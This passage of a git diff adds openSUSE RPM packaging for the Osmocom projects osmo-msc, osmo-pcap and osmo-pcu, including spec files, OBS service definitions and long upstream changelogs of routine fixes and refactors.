+ * dissolve libcommon: drop gsm_subscriber_base.c, move vlr_subscr_* to vlr.c
+ * dissolve libcommon: drop gsm_data.c, move code to libmsc
+ * rename libcommon to libgsupclient
+ * dissolve libcommon-cs: mv a_reset.c to libmsc
+ * dissolve libcommon-cs: move gsm_network_init() to libmsc
+ * dissolve libcommon-cs: move gsm48_* code to libmsc, drop sms_next_rp_msg_ref()
+ * remove empty libcommon-cs
+ * contrib: osmo-msc.service: Depend on osmo-mgw.service
+ * gsup_test_client: gsupc_read_cb: fix uninitialized value 'io'
+ * use osmo_init_logging2() with proper talloc ctx
+ * drop some dead definitions (gsm_data.h, gsup_client.c)
+ * test_reject_concurrency: missing assert
+ * cosmetic: rx_bssmap: read message type once into local var
+ * cosmetic: rename gsm_subscriber_connection->conn_fsm to ->fi
+ * cosmetic: rename subscr_conn_from to complete_layer3_type
+ * subscr_conn: store complete_layer3_type in conn, not FSM event arg
+ * unify allocation of gsm_subscriber_connection
+
+-------------------------------------------------------------------
+Fri Mar 16 19:59:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.213:
+ * msc_mgcp: to not access higher layers after release
+
+-------------------------------------------------------------------
+Thu Mar 15 18:38:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.212:
+ * mgcp: be sure that pending mgcp transactions are canceled before free
+ * trans_free: safeguard against a still running CC timer on free
+ * msc_mgcp: use more conceise error msg on truncation
+ * mcgp: let the MGW allocate the MGCP endpoint
+ * use libosmocom to parse cell identifier in bssmap_rx_l3_compl()
+ * cosmetic: remove disabled (debug) code gsm_04_08.c
+ * cosmetic: vlr_auth: log decision to send UMTS or GSM AKA challenge
+ * cosmetic: msc_vlr_tests: enable CC logging in debug
+ * cosmetic: rename conn_fsm "bump" event to "release_when_unused"
+ * msc_vlr_tests: add CC Release test and test to catch OS#2779
+
+-------------------------------------------------------------------
+Sun Feb 18 19:23:33 UTC 2018 - mardnh@gmx.de
+
+- Build with --enable-iu
+
+-------------------------------------------------------------------
+Wed Feb 14 16:08:29 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.158
+
+-------------------------------------------------------------------
+Sat Feb 10 20:47:32 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:18:13 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.145
+
+-------------------------------------------------------------------
+Thu Jan 25 19:15:21 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.105
+- Remove patch:
+ * osmo-msc-fix-includes.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Wed Jan 24 13:10:50 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.84
+-------------------------------------------------------------------
+Fri Dec 29 14:50:52 UTC 2017 - mardnh@gmx.de
+
+- Update Patch:
+ * osmo-msc-fix-includes.patch (more include fixes)
+
+-------------------------------------------------------------------
+Fri Dec 29 12:18:40 UTC 2017 - jengelh@inai.de
+
+- %service_* already takes care of restart/removal
+
+-------------------------------------------------------------------
+Thu Dec 28 09:39:36 UTC 2017 - mardnh@gmx.de
+
+- Initial package, version 1.1.2
diff --git a/rpm-local/spec/osmo-msc/osmo-msc.spec b/rpm-local/spec/osmo-msc/osmo-msc.spec
new file mode 100644
index 0000000..f0ae04e
--- /dev/null
+++ b/rpm-local/spec/osmo-msc/osmo-msc.spec
@@ -0,0 +1,117 @@
+#
+# spec file for package osmo-msc
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+## Disable LTO for now since it breaks compilation of the tests
+## https://osmocom.org/issues/4115
+%define _lto_cflags %{nil}
+
+
+%define with_iu 1
+Name: osmo-msc
+Version: 1.6.1.31
+Release: 0
+Summary: Osmocom's MSC for 2G and 3G circuit-switched mobile networks
+License: AGPL-3.0-or-later AND GPL-2.0-only
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/osmomsc/wiki
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libdbi-drivers-dbd-sqlite3
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: pkgconfig(dbi)
+BuildRequires: pkgconfig(libcrypto) >= 0.9.5
+BuildRequires: pkgconfig(libosmo-gsup-client) >= 1.0.0
+BuildRequires: pkgconfig(libosmo-mgcp-client) >= 1.6.0
+BuildRequires: pkgconfig(libosmo-netif) >= 0.4.0
+BuildRequires: pkgconfig(libosmo-sccp) >= 1.1.0
+BuildRequires: pkgconfig(libosmo-sigtran) >= 1.1.0
+BuildRequires: pkgconfig(libosmoabis) >= 0.6.0
+BuildRequires: pkgconfig(libosmocore) >= 1.2.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.2.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.2.0
+BuildRequires: pkgconfig(libosmovty) >= 1.2.0
+BuildRequires: pkgconfig(libsmpp34) >= 1.13.0
+####
+BuildRequires: lksctp-tools-devel
+####
+%{?systemd_requires}
+%if %{with_iu}
+BuildRequires: pkgconfig(libasn1c) >= 0.9.30
+BuildRequires: pkgconfig(libosmo-ranap) >= 0.3.0
+%endif
+
+%description
+The Mobile Switching Center (MSC) is the heart of 2G/3G
+circuit-switched services. It terminates the A-interface links from the
+Base Station Controllers (BSC) and handles the MM and CC sub-layers of
+the Layer 3 protocol from the phones (MS).
+
+This Osmocom implementation of the MSC handles A interfaces via 3GPP
+AoIP in an ASP role. It furthermore implements IETF MGCP against an
+external media gateway, such as OsmoMGW. It does *not* implement MAP
+towards a HLR, but the much simpler Osmocom GSUP protocol, which can
+be translated to MAP if needed.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+%if %{with_iu}
+ --enable-iu \
+%endif
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%license COPYING
+%doc AUTHORS README
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-msc
+%{_docdir}/%{name}/examples/osmo-msc/osmo-msc.cfg
+%{_docdir}/%{name}/examples/osmo-msc/osmo-msc_custom-sccp.cfg
+%{_docdir}/%{name}/examples/osmo-msc/osmo-msc_multi-cs7.cfg
+%{_bindir}/osmo-msc
+%{_unitdir}/%{name}.service
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-msc.cfg
+
+%changelog
diff --git a/rpm-local/spec/osmo-pcap/_service b/rpm-local/spec/osmo-pcap/_service
new file mode 100644
index 0000000..1d83d59
--- /dev/null
+++ b/rpm-local/spec/osmo-pcap/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-pcap</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-pcap/_servicedata b/rpm-local/spec/osmo-pcap/_servicedata
new file mode 100644
index 0000000..f1ec5cf
--- /dev/null
+++ b/rpm-local/spec/osmo-pcap/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-pcap</param>
+ <param name="changesrevision">d8368cebf8ca159c38027e4cb9109f9f0bcd0a46</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-pcap/osmo-pcap.changes b/rpm-local/spec/osmo-pcap/osmo-pcap.changes
new file mode 100644
index 0000000..a1f1635
--- /dev/null
+++ b/rpm-local/spec/osmo-pcap/osmo-pcap.changes
@@ -0,0 +1,245 @@
+-------------------------------------------------------------------
+Fri Jan 03 21:05:52 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.1.2.0:
+ * Bump version: 0.1.1.4-7aa6 → 0.1.2
+
+-------------------------------------------------------------------
+Thu Dec 12 21:04:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.1.4:
+ * osmoappdesc.py: switch to python 3
+
+-------------------------------------------------------------------
+Tue Dec 10 21:06:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.1.3:
+ * Cosmetic: README.md: document how to run tests
+ * osmoappdesc.py: fix paths to configs
+ * Cosmetic: README.md: fix typo
+
+-------------------------------------------------------------------
+Thu Aug 08 21:55:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.1.0:
+ * Bump version: 0.1.0.2-ce06 → 0.1.1
+ * Require libosmocore 0.11.0
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+
+-------------------------------------------------------------------
+Thu Jul 18 20:06:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.0:
+ * Bump version: 0.0.11 → 0.1.0
+
+-------------------------------------------------------------------
+Tue Jul 16 20:02:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.11.39:
+ * debian/changelog: Mark 0.0.11 as released
+
+-------------------------------------------------------------------
+Thu Jul 11 20:12:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.11.38:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Fri Jul 05 20:04:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.11.37:
+ * gitignore: fix application names
+
+-------------------------------------------------------------------
+Thu Jul 04 20:10:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.6.99:
+ * tests/Makefile.am: Fix "./configure && make clean && make"
+
+-------------------------------------------------------------------
+Sun Jan 27 21:01:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.6.98:
+ * Fix compiler warning about deprecated _BSD_SOURCE
+ * change binary builds URL to network:osmocom as that's more maintained
+
+-------------------------------------------------------------------
+Thu Dec 13 21:01:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.6.96:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Tue Dec 04 21:01:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.6.95:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Fri Nov 02 10:38:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.6.94:
+ * debian: Install osmo_pcap_clean_old in osmo-pcap-server pkg
+ * gitignore: Add compile
+ * Install cfg files with autotools
+ * Install systemd services with autotools
+ * debian: Clean up to look like other osmocom projects
+ * contrib/jenkins.sh: Update to current osmocom infra
+
+-------------------------------------------------------------------
+Tue Oct 09 20:01:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.6.88:
+ * server: Add pcap snaplen VTY cmd
+ * server: Improve verification of messages from client
+ * client_send_link: snaplen not needed during allocation
+ * client: Add pcap snaplen VTY cmd
+ * client: Set snaplen to MAXIMUM_SNAPLEN
+
+-------------------------------------------------------------------
+Mon Oct 08 20:01:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.6.83:
+ * Use enum for PKT_LINK_*
+ * Replace '.' in counter names with ':'
+ * jenkins.sh: enable werror and sanitize configure flags
+ * configure.ac: Add --enable-sanitize flag
+ * configure.ac: Add --enable-werror flag
+ * osmo_client_send_data: Fix wrong log format
+ * Drop osmo_init_logging and use osmo_init_logging2
+ * server: Properly name main talloc ctx
+ * client: Properly name main talloc ctx
+ * vty: skip installing cmds now always installed by default
+ * cosmetic: client: rename forward_packet function
+
+-------------------------------------------------------------------
+Sun Apr 8 17:59:49 UTC 2018 - mardnh@gmx.de
+
+- Run tests
+
+-------------------------------------------------------------------
+Wed Mar 14 21:28:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.6.72:
+ * debian: Add -dbg packages for the osmo-pcap-client and osmo-pcap-server
+ * sock_src_init(): Don't freeaddrinfo() undefined src_result
+ * Use TCP port numbers for VTY that don't overlap with other Osmocom Software
+ * Rename osmo_pcap_{client_server} executables to osmo-pcap-{client,server}
+ * Use libosmocore osmo_sock_init2() instead of local implementation
+ * client: Move to osmo_sock_init2_ofd()
+ * Add gitreview config
+ * Use release helper from libosmocore
+ * Add support for generating IPIP to osmo-pcap-client
+ * debian/control: Fix URLs for homepage, git, gitweb
+
+-------------------------------------------------------------------
+Sat Feb 10 16:15:14 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.0.6.72
+
+-------------------------------------------------------------------
+Wed Jan 24 13:12:02 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.0.6.70
+
+-------------------------------------------------------------------
+Thu Dec 28 10:11:24 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 0.0.6
+ * No changelog was provided
+
+-------------------------------------------------------------------
+Sat Apr 22 14:43:34 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.6.git1488925061.4776b29:
+ * jenkins: Add the build script from jenkins here
+ * distcheck: Need to package .version on Ubuntu as well
+ * jenkins: Attempt to fix build on FreeBSD and not break Linux
+ * freebsd: Include netinet/in.h and hopefully fix the build
+ * freebsd: Another fix for the next file
+ * jenkins: Attempt to fix FreeBSD distcheck
+ * todo: Update with my long term goal to have TLS support
+ * todo: Add another of my wishlist items
+ * ci: Add travis.yml for the github account
+ * server: Add a config knob to not store the pcap stream
+ * server: Add zmq interface for publishing events
+ * server: Add zmq based event and data interface to the server
+ * todo: With zeromq we can stream the data anywhere we want
+ * misc: Update the todo with an obvious thing to do
+ * vty: Fix compiler warning about type changes
+ * misc: Address compiler warning about deprecated header
+ * stats: Initialize the stats(d) backend in the client/server
+ * client: Fail to start if it can't bind the telnet interface
+ * server: Fail if the telnet interface can not be bound
+ * client: First round of statistics in the pcap client
+ * client: Additional counters for the statistics
+ * server: Add global and per client counters and begin to count
+ * client: Use pcap_stats and export them as statistics
+ * tests: Enable the vty tests for the osmo-pcap as well
+ * tls: Add initial ideas about TLS in the client/server
+ * client: Add API function to close and re-connect network connection
+ * client: Initial support for TLS in the client
+ * server: Update copyright after zmq changes
+ * server: Move to a write_queue for the conn socket
+ * server: Add API function to close a connection
+ * server: Re-factor the read dispatch and connection close
+ * server: Introduce tls mode for the server
+ * server: Allow to enable tls for the pcap server
+ * server: Add vty interface for the TLS configuration
+ * doc: Add initial documentation for the tls support
+ * test: Add tls config file and enable tls a bit
+ * client: Prepare to have multiple server connections
+ * client: Finish renaming client to conn in other places of the code
+ * client: Prepare to work with a list of servers
+ * client: Enable a non-blocking connect to the PCAP server
+ * client: Allow to configure and connect multiple servers
+ * client: Do not connect default connection if no ip/port present
+ * client: Allow to stop and remove a connection
+ * client: disconnect before connecting the connection
+ * client: Tolerate an invalid pcap_handle
+ * debian: Make a new release with the new features we gained
+ * client: Allow to bind to a specific source_ip
+ * debian: Make a new release with the new feature
+ * debian: Add -dbg packages for the osmo-pcap-client and osmo-pcap-server
+
+-------------------------------------------------------------------
+Sat Feb 20 22:20:47 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.6.git1453123519.3fedbf8:
+ + misc: Add a readme to describe the project purpose a bit
+ + misc: Update the readme
+ + Point to a stand-a-lone repository with many many packages
+ + Mention the packages available
+
+-------------------------------------------------------------------
+Sat Dec 26 23:00:43 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.0.6.git1449177446.c016b5d:
+ + gprs: Do not collect BVC FLOW CONTROL / ACK messages
+ + debian: Make a new release of the code
+ + server: Fix the language and refer to the received data length
+ + server: Deal with jumbo frames on the wire
+ + client: Allow receiving jumbo frames on the client as well
+ + debian: Make a new release
+ + client: Deal with external representation for pcap files
+ + Make a new release with 64bit client fixes
+
+-------------------------------------------------------------------
+Mon Sep 21 07:38:33 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.0.6.git1441897900.f42bbbc:
+ + gprs: Add a custom GPRS filter
+ + gprs: Remove left over for counting llc frames
+ + debian: Prepare a new release
+
+-------------------------------------------------------------------
+Mon Dec 22 21:41:20 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.0.4.git1419284011.07d96eb:
+ + build: Replace deprecated INCLUDES with AM_CPPFLAGS
+
+-------------------------------------------------------------------
+Sun Dec 21 22:15:38 UTC 2014 - mardnh@gmx.de
+
+- initial package, version 0.0.4.git1365611892.4edd6e6
+
diff --git a/rpm-local/spec/osmo-pcap/osmo-pcap.spec b/rpm-local/spec/osmo-pcap/osmo-pcap.spec
new file mode 100644
index 0000000..9cbafbe
--- /dev/null
+++ b/rpm-local/spec/osmo-pcap/osmo-pcap.spec
@@ -0,0 +1,85 @@
+#
+# spec file for package osmo-pcap
+#
+# Copyright (c) 2015, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-pcap
+Version: 0.1.2.0
+Release: 0
+Summary: Osmocom's PCAP client and server
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/osmo-pcap
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake >= 1.6
+BuildRequires: libpcap-devel
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(gnutls)
+BuildRequires: pkgconfig(libosmocore) >= 0.11.0
+BuildRequires: pkgconfig(libosmogb)
+BuildRequires: pkgconfig(libosmogsm) >= 0.11.0
+BuildRequires: pkgconfig(libosmovty) >= 0.11.0
+BuildRequires: pkgconfig(libzmq) >= 3.2.2
+
+%description
+Osmocom tools to help with pcap tracing.
+Run osmo_pcap_client locally and send traces to a different system.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%preun
+%service_del_preun osmo-pcap-client.service osmo-pcap-server.service
+
+%postun
+%service_del_postun osmo-pcap-client.service osmo-pcap-server.service
+
+%pre
+%service_add_pre osmo-pcap-client.service osmo-pcap-server.service
+
+%post
+%service_add_post osmo-pcap-client.service osmo-pcap-server.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%license COPYING
+%doc AUTHORS
+%doc %{_docdir}/%{name}/examples
+%dir %{_sysconfdir}/osmocom
+%config(noreplace) %{_sysconfdir}/osmocom/osmo-pcap-client.cfg
+%config(noreplace) %{_sysconfdir}/osmocom/osmo-pcap-server.cfg
+%{_bindir}/osmo-pcap-client
+%{_bindir}/osmo-pcap-server
+%{_unitdir}/osmo-pcap-client.service
+%{_unitdir}/osmo-pcap-server.service
+%dir %{_datadir}/%{name}
+%{_datadir}/%{name}/osmo_pcap_clean_old
+
+%changelog
diff --git a/rpm-local/spec/osmo-pcu/_service b/rpm-local/spec/osmo-pcu/_service
new file mode 100644
index 0000000..a7a0086
--- /dev/null
+++ b/rpm-local/spec/osmo-pcu/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-pcu</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-pcu/_servicedata b/rpm-local/spec/osmo-pcu/_servicedata
new file mode 100644
index 0000000..6c4cbc7
--- /dev/null
+++ b/rpm-local/spec/osmo-pcu/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-pcu</param>
+ <param name="changesrevision">20331ae5f6dbb545f2239dccd726a4d3ce3dcc59</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-pcu/osmo-pcu.changes b/rpm-local/spec/osmo-pcu/osmo-pcu.changes
new file mode 100644
index 0000000..9f29809
--- /dev/null
+++ b/rpm-local/spec/osmo-pcu/osmo-pcu.changes
@@ -0,0 +1,1635 @@
+-------------------------------------------------------------------
+Thu Apr 30 20:02:42 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.117:
+ * pdch: Avoid sending GSMTAP_CHANNEL_UNKOWN for rejected UL EGPRS data block
+ * pcu_l1_if: Don't use GSMTAP_CHANNEL_PACCH when sending unknown gsmtap blocks
+
+-------------------------------------------------------------------
+Mon Apr 20 20:03:04 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.115:
+ * TBF/UL: fix rcv_data_block_acknowledged(): print the actual TLLI
+ * sba: fix possible memleak in SBAController::alloc()
+
+-------------------------------------------------------------------
+Fri Apr 17 20:02:48 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.113:
+ * TODO: remove those that have obviously been implemented 5+ years ago
+
+-------------------------------------------------------------------
+Tue Apr 14 20:02:56 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.112:
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Sat Apr 04 20:02:28 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.111:
+ * l1if: fix pcu_rx_rach_ind(): use proper format string specifiers
+
+-------------------------------------------------------------------
+Mon Mar 30 20:02:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.110:
+ * csn1: Remove code block from CSN_NEXT_EXIST_LH
+ * csn1: Properly verify CSN_BITMAP length
+ * csn1: verify enough bits present to decode whole CSN_UINT_ARRAY
+ * csn1: Fix Several typos & whitespace
+ * rlcmac: add dissection of 2G->3G/4G PS handover
+ * rlcmac: support decode FDD_CELL_INFORMATION of "UTRAN FDD Description
+ * Move gsm_rlcmac.cpp -> .c
+ * gsm_rlcmac: Disable unused CSN1 descriptors
+
+-------------------------------------------------------------------
+Sat Mar 28 21:02:38 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.102:
+ * fix: properly include pure C headers from C++ code
+
+-------------------------------------------------------------------
+Fri Mar 27 21:06:31 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.101:
+ * tbf.cpp: Include c++ <new> header required for new operator's replacement type
+ * pdch: cosmetic: use GSM_MI_TYPE_* constants from libosmocore
+ * pdch: fix packet_paging_request(): properly print paging MI
+ * BSSGP: fix: properly encode P-TMSI in RR Paging Request
+ * BSSGP: cosmetic use OSMO_IMSI_BUF_SIZE from libosmocore
+ * Don't check ul_control_block before decoding into it.
+
+-------------------------------------------------------------------
+Thu Mar 26 21:02:50 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.95:
+ * csn1.h: Fix trailing whitespace
+ * gsm_rlcmac.cpp: Avoid declaring variable in for loop
+ * cosmetic: Do not indent header includes inside extern C block
+ * gsm_rlcmac: Use 'struct bitvec' instead of 'bitvec'
+ * pcu_l1_if.cpp: Add missing header ctype.h
+ * rlcmac: Rename field to MS RA Cap2 in Additional_MS_Rad_Access_Cap_t
+
+-------------------------------------------------------------------
+Wed Mar 25 21:03:02 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.89:
+ * cosmetic: rlcmac: Fix comment typo and whitespace introduced recently
+
+-------------------------------------------------------------------
+Mon Mar 23 21:02:36 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.88:
+ * rlcmac: Introduce MS Radio Access Capabilities 2 to fix related spare bits
+ * rlcmac: Log names of de/encoded rlcmac packet types
+ * rlcmac: Fix bug receiving RA cap
+ * csn1: Validate recursive array max size during decoding
+ * rlcmac: Don't pass array element to CSN1 descriptors
+ * tests/RLCMACTest: Several fixes and improvements to RAcap tests
+
+-------------------------------------------------------------------
+Sat Mar 21 21:03:27 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.82:
+ * tests/RLCMACTest: free allocated bitvectors
+
+-------------------------------------------------------------------
+Thu Mar 19 21:02:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.81:
+ * csn1.c: Almost all of the logging is DEBUG, not NOTICE
+ * Use downlink BSSGP RA Cap IE
+
+-------------------------------------------------------------------
+Mon Mar 16 21:02:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.79:
+ * Use clock_gettime(CLOCK_MONOTONIC) and timespec everywhere
+
+-------------------------------------------------------------------
+Wed Mar 11 21:02:25 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.78:
+ * csn1: fix: do not return 0 if no bits left in the buffer
+ * rlcmac: fix encode_gsm_*(): do not suppress encoding errors
+ * tests/llc: Change unrealistic time jump to avoid runtime error under ARM
+
+-------------------------------------------------------------------
+Sat Mar 07 21:02:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.75:
+ * tests/rlcmac: also enable logging for DRLCMACDATA category
+ * gsm_rlcmac: improve dissection of MS RA Capability IE
+ * csn1: fix csnStreamDecoder(): skip bits unhandled by serialize()
+ * tests/rlcmac: add a new test vector for Packet Resource Request
+ * Send UL-CTRL Packet to GSMTAP even if we fail to decode.
+
+-------------------------------------------------------------------
+Mon Mar 02 21:02:16 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.70:
+ * gsm_rlcmac: fix Packet_Resource_Request_t: s/Slot/I_LEVEL_TN/
+ * tests/rlcmac: also verify encoding of MS RA Capability
+ * llc_queue::{dequeue,enqueue}() refactor
+
+-------------------------------------------------------------------
+Wed Feb 19 21:07:16 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.67:
+ * tests/rlcmac: fix malformed MS RA capability in testRAcap()
+
+-------------------------------------------------------------------
+Tue Feb 18 21:04:03 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.66:
+ * gsm_rlcmac: fix misleading LOGP statement in decode_gsm_ra_cap()
+ * csn1: use proper format specifier for unsigned integers
+ * csn1: bitvec_get_uint() may return a negative, use %d
+ * csn1: fix csnStreamDecoder(): update bit_offset in CSN_EXIST{_LH}
+ * csn1: fix csnStreamDecoder(): always keep remaining_bits_len updated
+ * csn1: fix csnStreamDecoder(): do not subtract no_of_bits twice
+ * csn1: get rid of C++ specific code, compile with GCC
+ * tests/rlcmac: additionally match debug output of the CSN.1 codec
+ * csn1: fix existNextElement(): use bitvec_get_bit_pos()
+
+-------------------------------------------------------------------
+Sat Feb 15 21:03:22 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.57:
+ * gsm_rlcmac.cpp: fix global-buffer-overflow error reported by ASAN
+ * gsm_rlcmac.cpp: fix another global-buffer-overflow error reported by ASAN
+
+-------------------------------------------------------------------
+Fri Feb 14 21:07:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.55:
+ * gsm_rlcmac: Update : PACKET RESOURCE REQUEST to Release 14.0.0
+
+-------------------------------------------------------------------
+Thu Feb 13 21:03:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.54:
+ * tests/rlcmac: mark Packet Polling Request as malformed
+ * csn1: fix csnStreamDecoder(): catch unknown CSN_CHOICE values
+
+-------------------------------------------------------------------
+Tue Feb 11 21:04:35 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.52:
+ * csn1: fix some mistaken CSN.1 error names
+
+-------------------------------------------------------------------
+Mon Feb 10 21:04:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.51:
+ * encoding: assert return value of bitvec_set_u64()
+ * tbf: fix NULL pointer dereference in create_[ul|dl]_ass()
+ * tbf: cosmetic: fix spacing in gprs_rlcmac_tbf::create_ul_ass()
+
+-------------------------------------------------------------------
+Sat Feb 08 21:05:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.48:
+ * Fix trailing newline mess with LOGP(C) in rlcmac/csn1
+ * pcu_sock: cosmetic: fix typo in a comment message
+ * pcu_sock: fix memleak, allocate pcu_sock_state on stack
+ * VTY: install talloc context introspection commands
+ * VTY: get rid of pcu_vty_go_parent() / pcu_vty_is_config_node()
+
+-------------------------------------------------------------------
+Thu Feb 06 21:04:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.43:
+ * csn1: fix csnStreamDecoder(): avoid conditional calls to bitvec_read_field()
+ * rlcmac: Transform a few LOGPC messages to LOGP
+ * Check return code of rlcmac decode/encode functions
+ * rlcmac: Return error code from csn1 encoder/decoder
+
+-------------------------------------------------------------------
